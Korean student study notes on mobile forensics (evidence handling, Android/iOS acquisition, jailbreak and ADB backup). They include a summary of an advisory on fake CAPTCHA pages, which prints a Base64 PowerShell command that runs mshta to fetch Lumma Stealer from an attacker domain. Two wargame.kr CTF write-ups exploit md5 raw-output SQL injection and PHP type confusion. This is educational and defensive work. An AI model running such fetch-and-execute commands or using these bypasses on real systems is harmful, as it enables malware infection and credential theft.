    • 이미지 해시 값 생성하는 벙법 통해 제출한 증거와 수집한 원본과 동일한 것임을 입증
  • 증거의 문서화
    • 증거를 수집하고 추출하는 데 사용된 모든 방법과 도구에 대해 문서화하여 다른 조사관이 다시 수행할 수 있게 해야 함
    • 반복될 수 없는 작업에 대한 결과물은 증거로 채택되지 않을 수 있음
  • 모든 변경사항에 대한 문서화
    • 수집과 조사 과정에서 일어난 모든 변경사항을 포함한 전체 복구 과정을 문서화하는 것이 중요
    • 배터리 주기나 동기화와 같은 모바일 장치의 모든 변경사항도 문서화

https://blog.alyac.co.kr/5459

 

가짜 캡차 인증 페이지를 이용해 악성코드 실행을 유도하는 공격 주의!

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 최근 사용자가 봇(bot)이 아닌 진짜 사람인지를 판단하기 위한 절차인 캡차 인증 페이지를 조작하여 악성코드 실행을 유도하는

blog.alyac.co.kr


캡차(CAPTCHA) 인증 페이지

  • 사용자가 봇(bot)이 아닌 진짜 사람인지를 판단하기 위한 절차
  • "Completely Automated Public Turning Test to Tell Humans Apart"(컴퓨터와 인간을 구분하기 위한 완전 자동화된 공개 튜링 테스트)의 약자
  • 인간에게는 쉽지만 기계에게는 어려운 과제로 사용자를 테스트하여 사용자가 봇이 아니라 인간인지 검증하는 다양한 인증 방법

출처: [IBM] CAPTCHA란? (https://www.ibm.com/kr-ko/topics/captcha)


 

 최근 캡차 인증 페이지를 조작하여 악성코드 실행을 유도하는 공격이 발견되고 있다. 

 

 해당 공격은 조작된 캡차 인증 페이지(상단 이미지)로 사용자를 유도하는 것으로 시작된다. 

 사용자가 불법적으로 공유된 버전의 게임을 다운로드하기 위해 검색한 링크를 통해 해당 캡차 인증 페이지로 리디렉션되거나 피싱 메일에 링크를 삽입하여 접속을 유도한다. 

 

 위 사진 속 [I'm not a robot] 버튼을 클릭 시, 

 사용자에게 "윈도우키+R" 키를 눌러 윈도우 실행 창을 오픈한 뒤 Ctrl+V 단축키로 클립보드에 복사된 악성 파워쉘 명령어를 붙여 넣어 실행하도록 유도하는 안내 메시지가 팝업된다.

 

악성 파워쉘 명령어를 클립보드로 복사하는 스크립트

 페이지 내부에 삽입된 Base64로 인코딩된 악성 파워쉘 명령어는 위와 같은 스크립트를 통하여, 안내 메시지의 팝업과 동시에 클립보드에 복사된다. 

 

악성 파워쉘 명령어가 입력된 화면

 사용자가 안내 메시지 내용대로 Verification Steps을 진행할 경우 위와 같이 악성 파워쉘 명령어가 실행된다. 

 파워쉘 명령어를 통해 공격자의 서버에서 악성코드를 다운받아 실행하게 된다.

 

 실행된 악성 파워쉘 명령어의 내용은 다음과 같다. 

powershell.exe -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAHYAZQByAGkAZgAuAGQAbAB2AGkAZABlAG8AcwBmAHIAZQAuAGMAbABpAGMAawAvADIAbgBkAGgAcwBvAHIAdQA=  

디코딩 된 내용: mshta hxxps[:]//verif[.]dlvideosrfe[.]click/2ndhsoru

 

 최종적으로 실행되는 악성코드는 Lumma Stealer로 확인되었다.

 

Lumma Stealer

  • 감염된 컴퓨터에서 암호화폐 지갑, 웹브라우저 및 시스템정보, 사용자 계정정보 등과 같은 민감한 정보를 탈취하는 정보를 탈취하는 정보 탈취형 악성코드

 사용자에게 직접 악성 명령어를 실행하도록 유도하는 공격기법이 익숙하고 신뢰하기 쉬운 캡차 인증페이지를 악용한 새로운 형태로 발견되고 있어 각별한 주의가 필요할 것으로 보인다. 

문제 설명


서버 생성 후 접속 화면. 

올바른 패스워드 입력하면 플래그 획득 가능한 형식의 문제인 듯?

 

<?php
 if (isset($_GET['view-source'])) {
  show_source(__FILE__);
  exit();
 }

 if(isset($_POST['ps'])){
  sleep(1);
  include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
  $conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  $ps = mysqli_real_escape_string($conn, $_POST['ps']);
  $row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "FLAG : ".$FLAG;
  }else{
   echo "wrong..";
  }
 }
?>
<style>
 input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>

소스코드.

 

핵심이 되는 건

$row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "FLAG : ".$FLAG;

여기인 듯. 

실제 입력하는 패스워드 값 즉 변수인 $ps는 mysql_real_escape_string()으로 SQL 인젝션 방지.

 

구글링의 도움을 많이 받았는데...

SQL 인젝션 방지를 위해서 특수문자 앞에 escape(\ 백슬래시)를 붙여주는 기능이 있는 거라고 함. 

 

key 값 출력 위해서는 DB 테이블 안에 있는 password의 md5 해시 값을 맞춰야 함. 

include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
  $conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  $ps = mysqli_real_escape_string($conn, $_POST['ps']);
  $row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));

이 부분을 보면 md5($ps, true) 사용 중.

 

md5 함수란
인자로 들어온 문자열을 md5 해시화 하여 32byte의 길이로 반환해 주는 함수
md5() 함수는 두 번째 인자값을 선택적으로 줄 수 있음, 이는 raw_output에 해당하는 옵션임

 

raw_output에 의해 취약점이 발생함.

이 옵션의 기본값은 False이고 이 값을 true로 주게 되면 32byte 길이의 헥스값을 16byte의 바이너리 값으로 변환해준다. 

헥스값은 raw_output 옵션의 false를 말하며

binary 값으로 출력된 코드는 raw_output 옵션이 True인 경우를 말한다. 

 

아... 너무 어렵다

 

여러 풀이 방법을 찾아 보니 '='을 이용해 취약점을 발생시킬 수 있다.

false injection이라는 걸 이용해 '어떤문자열' = '어떤문자열' 형태로, 1=1과 동일한 결과값을 출력해낼 수 있다고 한다.

false injection에 대해서는 추후에 더 공부해 보기로 하고. 

 

파이썬을 통해 '=' 값이 들어가도록 코드를 짜 본다. 

import hashlib

for password in range (1, 111112211):
    md5_hash = hashlib.md5(str(password).encode()).hexdigest()
    if '273d27' in md5_hash:
        print(password)

이런 코드를 짬

1~111112210까지의 숫자를 md5로 해시화시킨 후 문자열취급하여 인코딩한 값을 16진수로 바꾼 것.

헐...

실행시키니까 너무 많은 값이 나온다

이 중에서 true가 나오는 값도 있고 false가 나오는 값도 있다고 함.

위에서부터 하나씩 입력해 보는 노가다를 시도

 

1257444
1589500

입력해보니 wrong.. 출력.

 

1839431 입력했더니 플래그 출력 성공!!

 

아직 나한텐 너무 어려운 문제다... 다음에 다시 도전

'SWUFORCE > 워게임 풀이' 카테고리의 다른 글

[H4CKING GAME] Season1 : Easy (forensic)  (0) 2024.11.04
[H4CKING GAME] Season1 : Paint (forensics)  (2) 2024.11.04
[wargame.kr] type confusion (web)  (2) 2024.10.01
[wargame.kr] tmitter (web)  (0) 2024.09.24
[wargame.kr] strcmp (web)  (0) 2024.09.24

모바일 포렌식 분석

https://youtu.be/rEb2vE4QOxM?si=DpbbyFV8HqoHzKv-


모바일 데이터 분석 개요

◆ 모바일 포렌식 데이터의 종류

  • 시스템 정보
    • 기기 모델 및 버전 정보
    • 네트워크 연결 정보
    • 다운로드 및 설치된 앱 목록
  • 사용자 데이터
    • 연락처
    • 통화 기록
    • 문자 메시지 기록
  • 애플리케이션 사용 기록

◆ 모바일 데이터 분석 시 얻을 수 있는 정보

  • 기기 정보/시스템 로그 분석
    • 기본 기기 정보, 설정 정보
    • 네트워크 연결 기록 → Wi-Fi, Bluetooth
    • 설치된 애플리케이션 목록 → 설치된 앱/삭제된 앱
    • 사용자 계정 정보
    • 타임라인 → 기기 사용 시간 예측
  • 사용자 애플리케이션 데이터 분석
    • 기본 앱 로그: 통화 내역, 문자, 이메일, 메모 등
    • 사용자 앱 로그: 메신저, 웹 브라우저, 교통, 문서 뷰어 등

 

모바일 데이터 저장 형태

모바일 애플리케이션은 사용 내역 또는 로그를 특정 파일 형식을 이용하여 저장

  • 텍스트 형태
    • 텍스트 형태로 저장된 데이터
    • *.log, *.xml, *.cfg 등 다양한 형태의 파일로 데이터 존재
    • 기기 정보, 시스템 로그, 애플리케이션 설정 정보 등
  • 데이터베이스 형태
    • *.db 확장자를 가지며, SQLite 등의 데이터 베이스 파일로 저장된 데이터
    • 대부분의 애플리케이션 사용기록이 데이터베이스로 기록됨
SQLite란?
- 행과 열로 구성된 테이블로 데이터를 관리하는 관계형 데이터베이스(RDBMS)
- 다른 데이터 베이스와 비교해 가볍고 속도가 빨라 모바일 환경에서 가장 많이 사용되는 데이터베이스
- 표준 SQL 쿼리 사용 
※ SQLite Export 프로그램 사용하면 데이터 베이스 파일을 분석 가능
  • 멀티미디어 형태
    • 사진, 동영상

 

안드로이드 데이터 분석

안드로이드 기기 정보/시스템 로그 데이터 경로

 

전원, 네트워크, 앱 정보에 해당하는 경로 ↓

  • 전원 재시작 로그(power_off_reset_reason.txt)
    • 재시작 및 종료 시간 확인 가능
    • 전원 배터리 부족 종료 → reason : no power
  • 설치된 애플리케이션 정보(packages.xml)
    • 패키지명, 애플리케이션 경로, 버전,권한 정보
  • 연결한 Wi-Fi 정보(WifiConfigStore.xml)
    • Wi-Fi를 연결한 기록으로, 연결된 Wi-Fi 이름과 마지막으로 연결된 시각
      • ConfigKey: 연결된 Wi-Fi 이름 + Wi-Fi 암호화 방식 
      • SSID: 연결된 Wi-Fi 이름
    • 경로: /data/misc/wifi/WifiConfigStore.xml

애플리케이션 데이터

  • 애플리케이션마다 디렉토리 구조와 데이터 저장 방식 다름 (*.db, *.xml 등)
  • 문자 메시지, 연락처, 통화 내역, 웹 브라우저 기록 등의 애플리케이션 사용자 데이터 확인 가능

 

안드로이드 백업 데이터

  • Smart Switch로 획득한 안드로이드 이미지 분석
    • 연락처(Smart Switch를 이용하여 CSV로 변환 가능) 획득 가능
    • 멀티미디어 파일(사진, 동영상, 문서 등) 획득 가능
    • 설치된 애플리케이션 목록 및 정보 획득 가능

 

iOS 데이터 분석

여러가지 형태로 시스템 설정 정보, 애플리케이션 정보 등을 저장

 

Plist(Property List)

  • 애플 기반의 시스템(OS X, iOS 등) 에서 객체 직렬화 위해 사용하는 파일
  • 저장 형태는 텍스트 or 바이너리

 

iOS 백업 데이터 분석

  • 아이튠즈에서 지원하는 백업 기능으로 수집한 데이터 분석
  • 백업 파일의 위치(Windows 7 이상): %UserProfile%\Apple\MobileSync\Backup\{UDID}
    • UDID(Unique Device Identifier): 기기 식별을 위해 사용하는 문자열 (SHA-1 해시값)
  • 디렉토리 구성: 파일의 최초 2글자별로 디렉토리 생성

 

iOS 아이튠즈(iTunes) 백업 데이터

  • Info.plist
    • 아이폰 내부 정보 및 어플리케이션 정보 확인 가능
    • 기기 정보, 백업 날짜, iTunes 버전 등
    • IMEI: 국제 모바일 기기 식별 번호
  • Manifest.db(SQLite DB) / Manifest.mbdb(Binary)
    • 저장 경로를 알 수 있는 디렉토리와 파일 이름 목록

모바일 포렌식 수집: 아이폰

https://youtu.be/uMezgE6W09w?si=OXwtoeEelGFTRGJq


아이폰 개요

  • 아이폰(iPhone)
    • 애플(Apple Inc.) 제품의 스마트폰 라인 (2007~)
    • 자체적 운영체제(iOS) 사용
    • 정기적 업데이트
      • 소프트웨어 및 기능, 보안 패치 및 버그 수정
    • 기능
      • 아이클라우드(iCloud), 에어드롭(Airdrop) → 다른 애플 기기와의 상호작용
    • 강력한 보안 및 개인 정보 보호
      • 하드웨어 수준 암호화 + Face/Touch ID
  • iOS 운영체제
    • 애플에서 개발한 모바일 운영체제
    • iOS 사용 기종
      • 아이폰(iPhone) 시리즈
    • 클라우드 서비스(iCloud)
      • 사용자 데이터 저장 및 동기화를 위한 서비스
      • iCloud를 통해 iOS 기기 간 데이터 공유 및 백업 가능
      • 단, 사용자가 iCloud 동기화 설정 가능

 

아이폰 데이터 수집

◆ 아이튠즈(iTunes) 활용

  • 애플의 기기 관리 프로그램
  • 미디어 관리 및 기기 동기화 기능 제공
  • 백업(Backup) 기능으로 데이터 수집(일부) 및 분석 가능
  • 수집 방법
    • 백업 버튼 누르면 아이튠즈 구동한 운영체제별로 파일 저장 경로에 데이터 백업됨
    • 파일 저장 경로 ↓
운영체제 경로
Windows C:\USERPROFILE\AppData\Roaming\Apple Computer\MobileSync\Backup
Mac OS Users\{username}\Library\Application Support\MobileSyncBackup
  • 백업 데이터 형태
    • SHA-1(기존 디렉터리 해싱한 값으로) 인코딩 된 파일명으로 저장
  • Info.plist 생성
    • 백업 관련 정보 저장된 로그 파일
  • 수집 가능 데이터
    • App Document
    • Camera Roll
    • Contacts
    • Call History
    • Messages
    • Notes
    • Voice Memos
    • Safari Bookmarks
    • Desktop
    • Settings
  • 아이백업봇(iBackupBot)
    • 백업한 데이터들을 보기 쉽게 해석해 주는 프로그램
    • 아이폰에 대한 정보, 백업 날짜, 백업 데이터를 보기 쉽게 표현

◆ 탈옥(Jailbreak)

  • iOS 윤영체제의 제한을 임의로 해제하는 행위
    • 안드로이드의 루팅(rooting)과 유사 개념
  • 효과
    • 일반 사용자 관점 → 블랙 마켓 설 및 앱 사용
    • 디지털 포렌식 관점 → 플래시 메모리 데이터 수집 및 분석
  • 버전별로 탈옥 가능 여부가 다름 (가능과 제한적 가능)
    • 제한적 가능: 버전 중 특정한 상황에서는 탈옥 불가하거나 특정 비트 운영체제, 특정 모델에서만 탈옥이 가능
  • 수집 방법
    1. AltStore 앱 설치
    2. 애플 공식 홈페이지에서 제공하는 사용자 설정 앱 설치 방법을 그대로 수행해 앱 실
    3. 대상 기기 AltStore 설치 후 컴퓨터에 AltServer 설치
    4. 대상 기기 unc0ver 다운로드(아이폰 사파리 앱 통해) 및 탈옥
    5. unc0ver의 버전이 아이폰의 버전과 호환되지 않는다면 탈옥이 비활성화됨. 버전 맞는 어플 사용 필요
    6. 자동 설치된 시디아(Cydia)를 이용해 OpenSSH 설치
    7. SSH 클라이언트 이용하여 접근, 컴퓨터와 아이폰 동일 네트워크 상 연결 (연결 최초 비밀번호는 alpine)
    8. 접근 후 dd 명령어를 통한 파일시스템 덤프
    9. 덤프 후 결과 → 파일시스템 획득 후 분석 가능
  • 한계점
    • 암호화
      • 강력한 데이터 암호화로 인한 데이터 접근 및 디바이스 해킹 어려움
      • 해제를 위해 사용자 패스코드 또는 Touch/Face ID 필요
    • 펌웨어 자체의 보안
      • iOS 보안 강화 및 주기적 업데이트 → 기기 무단 수정 및 해킹이 어려움
    • 디바이스 잠금
      • 여러 번의 해제 실패 경우 → 보안 기능 활성화 및 강화
    • Apple ID 연동
      • iCloud 백업과 연결된 아이폰 → iCloud 계정의 보안 기능도 추가 보호

https://youtu.be/DWX2QmSLFpI?si=SrpViTAJOWdzVkeO

 


안드로이드 데이터 수집 Ⅱ

Logical dump

  • 파일 시스템 상에서 표시되는 파티션 내부의 파일 및 폴더를 획득하는 방법
  • 복호화된 데이터 획득할 수 있는 가능성 존재

◆ ADB(Android Debug Bridge)

  • 안드로이드 기기와 통신할 수 있는 명령 도구
  • ADB 명령어는 앱의 설치 및 디버깅과 같은 기기 작업에 사용된다. 
  • ADB 구성 요소
    • 클라이언트: 사용자가 입력한 명령어를 스마트폰 기기로 전송하는 역할
    • 서버: 클라이언트와 데몬 간의 통신을 관리
    • 데몬(adbd): 기기에서 명령어를 실행
  • ADB Backup
    • 동작 방식
      1. 컴퓨터에서 ADB Backup 명령어를 스마트폰으로 전송
      2. 스마트폰은 명령어 해석 후 원하는 데이터 추출
      3. tar 파일 형식으로 추출한 데이터를 묶어줌
      4. deflate 알고리즘으로 압축
      5. 백업 시 스마트폰에 입력한 암호를 키로 사용해 백업 파일 암호화하고 PC로 전송
    • 안드로이드 4.0부터 지원
    • 관리자 권한 없이 데이터 수집 가능
    • 이 기능 이용 위해서는 ADB 디버깅 활성화 필요
      1. 수집 대상 스마트폰 잠금 해제 가능해야 함 (사용자 패스워드 정보 필요)
      2. 안드로이드 개발자 옵션 활성화 (설정-휴대전화 정보-빌드 번호 7번 터치)
      3. 개발자 옵션에서 ADB 디버깅 활성화 (ADB 활용해 스마트폰-컴퓨터 간 명령어 송수신 허가)
    • ADB Backup 명령어
      • # adb backup [-f <file>] [-apk | -noapk] [-shared | -noshared] [-all] [-system | nosystem] [<packages...>]
      • -f <file>: 백업 파일의 이름 지정하는 옵션. 지정하지 않으면 기본적으로 현재 디렉터리에 'backup.adb'로 저징
      • -apk | -noapk: apk 백업 여부를 지정하는 옵션. 기본값은 -noapk.
      • -shared | -noshared: 장착된 외부 저장장치(공유 스토리지/SD 카드)도 백업할지 선택하는 옵션. 기본값은 -noshared.
      • -all: 설치된 모든 앱 백업
      • -system | -nosystem: 시스템 앱 포함 옵션. 기본값은 -system.
      • <packages..>: 백업할 앱을 직접 지정할 수 있는 옵션.
  •  장점
    • 루팅 또는 취약점 등을 이용하지 않고 수행할 수 있음 → 사용자 데이터 무결성 훼손 최소화
    • 복호화된 데이터 획득 가능
  • 단점
    • 애플리케이션 데이터 외 다른 데이터는 수집 불가(기기정보, 시스템 로그 등)
    • 기기를 실행한 상태(활성화 상태)에서 수행하기 때문에 사용자 데이터 파티션의 무결성 훼손
    • ADB Backup을 지원하지 않는 애플리케이션은 수집 불가
  • Android Backup Extractor(ABE)
    • Android Backup File의 암호화 및 압축을 해제해주는 도구
    • Andorid Backup 파일 구조
      • /apps 폴더 내에 패키지별로 폴더가 존재(폴더 이름은 패키지명)
      • 패키지별 폴더 아래의 구조
        • /apps/[pk_name]/_manifest: APK 파일에 대한 정보를 담고 있는 파일
        • /apps/[pk_name]/f/: files 폴더를 가리킴. 앱에서 파일 저장할 때 사용
        • /apps/[pk_name]/db/: databases 폴더를 가리킴. 앱이 데이터를 저장하는 데이터베이스가 저장되어 있음.
        • /apps/[pk_name]/sp/: shared_prefs 폴더를 가리킴. 앱에서 사용하는 설정 정보가 저장되어 있음.
        • /apps/[pk_name]/c/: cache 폴더를 가리킴. 앱이 임시파일을 저장할 때 사용. 존재하지 않을 수도 있음
        • /apps/[pk_name]/r/: 기타 파일들이 저장되어 있음

◆ Samsung Smart Switch

  • 삼성전자에서 개발한 스마트폰 백업 및 복원 애플리케이션
  • 삼성에서 출시한 안드로이드 폰이라면 모두 지원.
    • 백업된 데이터는 안드로이드 기반 타 스마트폰뿐만 아니라 아이폰에도 복원 가능
  • 백업 기능 활용해 데이터 수집 가능
  • 수집 방법
    1. 삼성 스마트 스위치 실행
    2. 환경설정>백업 파일>백업 결과를 저장할 폴더 선택
    3. 이때 백업 데이터 안전한 보호를 위해서는 백업 데이터 암호화를 선택→그러나 이 옵션 선택 시 별도의 복호화 작업이 필요.
    4. 설정 완료 후 백업 버튼 클릭
    5. 백업할 데이터 선택
    6. 백업 버튼 클릭
  • 백업에 대한 정보 + 수집 대상 기기에 대한 정보도 함께 저장됨

◆ Content Provider

  • 안드로이드에서 애플리케이션간 데이터 공유하기 위한 인터페이스.
    • 서로 다른 앱 간의 데이터 공유를 위한 유일한 방법
  • 안드로이드 샌드박스(Sandbox) 매커니즘을 사용
    • 안드로이드 보안 정책으로 앱마다 샌드박스를 할당
    • 앱들은 서로의 샌드박스 영역 침범 불가(다른 앱의 데이터에 접근 불가)
  • 모든 애플리케이션에 지원되는 기능은 아니기 때문에 Content Provider가 지원하는 앱 데이터만 수집 가능
  • 모든 앱은 해당 데이터에 접근할 수 있는 고유의 URI (Uniform Resource Identifier) 정의
    • URI를 모르는 경우 다른 앱 데이터에 접근 불가
    • URI를 아는 경우 다른 앱 데이터(SQLite DB)에 접근 가능
  • 기본적 데이베이스 명령어 활용 가능, 기본적 연산 처리 가능(create, select, update, delete)
  • 주요 수집 대상
    • URI가 알려진 통화 기록, 연락처, 인터넷 북마크, 일정, 문자(SMS/MMS) 등 기본 애플리케이션
  • 데이터 수집 앱 설치 & 실행 필요
    • Content Provider를 사용해 다른 애플리케이션의 데이터 수집
  • 장점
    • 앱 설치 및 실행만으로 데이터 수집 가능
  • 단점
    • 데이터 수집 앱을 설치해야 하기 때문에 사용자 데이터 파티션의 무결성을 훼손
    • 수집 가능한 앱 데이터 종류가 제한적
      • 대부분의 사용자 앱이 Content Provider를 제공하지 않거나 비공개
      • 국내 제조사(삼성, LG)의 경우 기본앱의 URI를 수정해 사용
    • DB 파일 자체를 수집하는 게 아니라 DB 파일 내부의 활성 레코드만 수집하기 때문에 삭제된 데이터 복구 불가능

문제 설명

단순 비교 문제

문제 이름이 힌트가 된다는...


서버 생성해서 들어가 보면 진짜 간단한... 형태의 페이지

특정 문자열 넣어서 check를 해야 되는 것 같음

아무 글자나 넣고 check 했더니 이런 메시지 뜸. 

 

우선 소스 코드부터 열어 보자

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("./lib.php"); // include for FLAG.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => $FLAG];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>

사용자로부터 입력받은 key값이 json의 형태로 서버에 전달되고, 서버에 있는 고유한 키와 비교해 일치할 시 플래그를 반환하는 코드. 

 json은 Javascript 객체 문법으로 구조화된 데이터를 표현하기 위한 문자 기반의 표준 포맷

서버에서 생성되는 키가 SHA1 해시로 보호된다.

혹시 내가 서버에서 생성되는 키를 맞혀서 입력하는 식으로 푸는 문제인가 싶어서 코드를 살펴 보니까,

 

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }

여기가 무슨... 마이크로초 단위의 타임스탬프라고 한다.

내가 키값을 찾아내는 건 아닌 듯. 코드를 수정해서 풀이하는 것 같다.

gen_key 함수의 리턴 타입이 문자열이라는 건?... 약간 반 확신?... 상태로... 일단 풀어본다.

 

if ($json->key == $key) {
        $ret = ["code" => true, "flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }

코드의 이 부분을 보면,

$json->key == key가 true가 되어야 FLAG를 얻을 수 있다.

이때 여기서의 ==는 느슨한 비교(Loose comparisons)이다. 

 

이 그림은 느슨한 비교표이다. 어떤 것이 어떤 것과 만났을 때 true를 반환하는지 알려주는 표.

리턴 타입이 문자열일 거라고 생각했으니까, 표 안에서 "php"라는 부분을 주의깊게 보자. 왜냐면 저게 문자열이니까

"php"는 표 상에서 true, 0, 같은 문자열과 비교할 시 true를 반환한다. 

위에서 우리는 같은 문자열과 비교하는 것은 사실상 불가능임을 이미 알았으니까

true나 0이라는 값을 넣어주면 true가 되고 플래그를 획득 가능할 것이다~~


 

그리고 서버에서 F12로 소스 코드까지 열어 봤다. 

check 버튼을 누를 때, submit_check(this)라는 함수가 동작된다.

소스코드 뒤져보니까 submit_check(this)는 util.js에 정의되어 있음. 

코드 훑어 보니 submit 함수에 파라미터를 넣는 값이 JSON 형식으로 데이터를 넘김. 

이 데이터를 넘길 때 기존 함수에서는 {key: key}로 넘기는데,

위에서 true나 0 값과 비교하면 바로 true 반환한다고 했으니 저 값을 true로 수정해서 취약점을 이용해 보겠다. 

이렇게 수정 완료.

이제 아무 문자열이나 입력하고 check를 진행해 본다. 

 

우와 성공이다 ~.~


 

+여담...

소스코드 수정하고 꼭 ctrl+s 눌러서 저장해야 내가 수정한대로 작동된다.

그리고 새로고침하면 소스코드 수정한 거 초기화되니까 다시 해야 된다.

 

궁금해서 true 말고 0으로도 설정해서 다시 해 봄

이건 왜 안 되지

모르겐네

'SWUFORCE > 워게임 풀이' 카테고리의 다른 글

[H4CKING GAME] Season1 : Paint (forensics)  (2) 2024.11.04
[wargame.kr] md5 password (web)  (0) 2024.10.01
[wargame.kr] tmitter (web)  (0) 2024.09.24
[wargame.kr] strcmp (web)  (0) 2024.09.24
[Dreamhack] Broken Password (misc)  (0) 2024.08.27

https://youtu.be/J_jc7ncB3RQ?si=eGF2zwa5adrJ1UUh


안드로이드 데이터 수집Ⅰ

안드로이드 운영체제를 사용하는 스마트폰에서 데이터 수집하는 방법에 대하여. 

  • 모바일 데이터 수집 방법
    1. Physical dump
      • 스마트폰에 장착된 플래시 메모리의 전체 데이터를 복제하는 방법
      • 저장장치 내 미할당 영역도 수집할 수 있어서 삭제된 데이터 복구 가능성 존재
      • 최신 안드로이드 기기에는 Full disk encryption이나 File based encryption 적용되어 있기 떄문에 physical dump 방식으로는 암호화된 데이터가 획득되어 분석할 수 없음. → Physical dump는 데이터가 암호화 저장되지 않는 버전의 안드로이드 기기에서 사용하는 방식.
      • 종류
        • Chip-off
        • Debug port
          • UART
          • JTAG
        • AP protocol
        • Rooting
    2. Logical dump
      • 파일시스템을 해석하여 파티션 내부의 파일 및 폴더를 획득하는 방법
      • 복호화된 데이터 획득할 수 있는 가능성이 존재 → 최신 기기의 경우 Logical dump를 통해 데이터를 수집
      • 종류
        • Backup
        • Content provider

 

Physical dump

◆ Chip-off

  • 스마트폰(또는 임베디드 기기) 메인보드에서 플래시 메모리 칩을 물리적으로 분리해 데이터를 수집하는 방법
  • 방법
    1. 스마트폰을 분해한 뒤 메인보드를 분리
    2. 메인보드에서 플래시 메모리 위치 파악하고 플래시 메모리 칩 분리
    3. 분리된 플래시 메모리를 리더기에 연결해 데이터 추출
    4. 리볼링(Rebolling)
      • 플래시 메모리에 손상된 핀이 있다면 이를 복원하는 작업(플래시 메모리를 메인보드에서 분리하는 과정에서 핀 손상 가능성이 존재)
      • 추출한 플래시 메모리에서 온전한 데이터 추출을 위함
    5. 칩 리더기를 이용하여 플래시 메모리 칩의 내부 데이터 덤프
  • 장점
    • 미할당 영역에 저장된 데이터를 수집 가능 (파일 수정 내역이나 삭제한 파일에 대한 데이터가 미할당 영역에 남아있을 수 있음)
    • 모든 임베디드 기기(플래시 메모리 칩이 장착된)에 적용 가능한 방법
  • 단점
    • Chip-off 이후 기기 사용이 어려움 (메인보드에서 분리한 플래시 메모리의 재결합 어렵기 때문)
    • 데이터가 암호화되어 저장될 경우 수집한 데이터를 분석할 수 없음

Debug Port

  • Serial 통신이나 하드웨어 디버깅을 위한 포트를 통해 플래시 메모리 데이터 접근
  • 방법
    1. 스마트폰의 메인보드에서 장착된 디버깅 포트 찾아서 디버깅 장비 연결
    2. 전력을 공급하여 부팅 과정에서 정상 부팅 모드 X, 디버깅 모드로 진입
    3. 플래시 메모리 칩 내부에 저장된 데이터를 물리적으로 수집
  • UART
    • 디버깅 포트의 종류
    • 총 4개의 핀을 가짐.
      • TX: 데이터 송신핀
      • RX: 데이터 수신 핀
      • GND: 그라운드
      • VCG: 전압
  • JTAG
    • 디버깅 포트의 종류
    • JTAG 연결 시 하드웨어 디버깅 가능하기 때문에 물리적 데이터 수집뿐만 아니라 원하는 모든 작업 수행 가능
    • 총 5가지 핀을 가짐
      • TDI: Test Data In
      • TDO: Test Data Out
      • TMS: Test Mode Select
      • TCK: Test Clock
      • TRST: Test Reset(Optional)
    • Ex) Trace32
      • 디버그 포트와 연결하기 위한 장치
      • 임베디드 시스템 개발 시에도 디버깅 목적으로 많이 활용
      • JTAG 포트에 trace32 연결하면 전용 프로그램 동작시켜 플래시 메모리에 저장된 데이터 수집 가능
  • 장점
    • 온전하게 시스템 부팅하는 게 아니라 디버그 모드로 부팅하기 때문에 시스템 부팅되기 전(부팅 커널 로딩 전)의 데이터를 수집 → 원본에 대한 무결성 유지
  • 단점
    • 최근 JTAG 포트를 제거하여 출시하는 스마트폰 등장 (실제로 삼성 갤럭시 S3 이후부터는 JTAG 포트 제거된 채 출시) → 최신 스마트폰은 디버깅 포트 활용한 데이터 수집 불가
    • 데이터 수집에 많은 시간 소요

◆ AP Protocol

  • AP(Application Processor) 제조사에서 제공하는 프로토콜을 활용한 방법

AP란? - 스마트폰 내 모든 명령을 처리하는 핵심 부품. 중앙처리장치(CPU)에 해당

  • 각 AP 제조사 별로 펌웨어(Firmware) 관리를 위한 비공개 프로토콜 존재
    • 해당 프로토콜 사용하면 플래시 메모리에 존재하는 데이터 물리적 수집 가능
    • 부트 로더 로딩 과정에서 플래시 메모리 영역에 대한 Read/Write 명령어 전송
    • 제조사 별 특정 모드에서만 프로토콜을 이용한 통신 가능
  • 장점
    • 정상적 부팅이 아니라 부트 로더 로딩 단계에서 제조사가 만들어둔 별도 프로토콜 사용해 메모리 데이터 수집함. → 플래시 메모리에 저장된 원본 데이터에 대한 무결성 유지 가능
    • USB 통한 시리얼 통신이기 때문에 Debug Port보다 빠른 전송 속도
  • 단점
    • AP 프로토콜이 공개되어 있지 않으면 사용 불가
    • AP 프로토콜 공개되어 있어도 인증 위한 별도의 절차 존재할 수 있음
    • 데이터 암호화되어 저장할 경우 수집한 데이터 분석할 수 없음

◆ Rooting

  • 안드로이드 OS의 관리자(root) 권한을 획득하는 행위
  • Android 권한 체계
    • 리눅스(Linux)와 동일한 권한 체계 사용
    • 그러나 보안상의 이유로 관리자 권한 획득을 위한 'SU' 바이너리가 존재하지 않음
